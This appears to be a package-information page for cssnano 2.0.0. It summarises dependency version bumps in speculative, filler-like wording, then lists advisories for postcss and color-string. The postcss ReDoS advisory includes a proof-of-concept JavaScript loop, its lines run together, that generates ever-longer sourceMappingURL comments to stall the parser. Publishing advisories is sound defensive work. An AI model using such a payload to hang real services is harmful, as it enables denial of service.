Cssnano version 2.0.0 introduces several dependency updates, enhancing its capabilities as a modular PostCSS-based minifier. Key changes are evident in the dependencies, offering developers improved functionality and potentially better performance. PostCSS moves from version ^4.1.8 to ^4.1.11, suggesting bug fixes and minor enhancements. Significant updates include postcss-colormin, jumping from 1.2.2 to 1.2.3, reflecting enhanced color optimization, and postcss-normalize-url, progressing from 1.2.1 to 2.0.2, which may provide better URL handling. Postcss-reduce-idents went from 1.0.0 to 1.0.1 and postcss-convert-values upgraded from 1.2.1 to 1.2.2, implying refinements in identifier reduction and value conversion. Notably, autoprefixer-core is added as a dependency at version ^5.2.0, automatically adding vendor prefixes to CSS rules, streamlining the development workflow.
Furthermore, postcss-pseudoelements sees a change from 2.1.1 to 2.2.0 and postcss-single-charset updates from ^0.2.2 to ^0.3.0, indicating advancements in handling pseudo-elements and character sets, respectively. Postcss-discard-comments moves from 1.1.2 to 1.2.0, suggesting improved comment removal. Also, importantly, postcss-zindex progresses from 1.1.1 to 1.1.2. While devDependencies largely remain consistent, webpack updates from ^1.9.10 to ^1.9.11. These cumulative dependency upgrades in cssnano 2.0.0 aim to provide developers with a more robust and efficient CSS minification experience.
All the vulnerabilities related to the version 2.0.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
Regular Expression Denial of Service (ReDOS)
In the npm package color-string, there is a ReDos (Regular Expression Denial of Service) vulnerability regarding an exponential time complexity for
linearly increasing input lengths for hwb() color strings.
Strings reaching more than 5000 characters would see several milliseconds of processing time; strings reaching more than 50,000 characters began seeing 1500ms (1.5s) of processing time.
The cause was due to a the regular expression that parses hwb() strings - specifically, the hue value - where the integer portion of the hue value used a 0-or-more quantifier shortly thereafter followed by a 1-or-more quantifier.
This caused excessive backtracking and a cartesian scan, resulting in exponential time complexity given a linear increase in input length.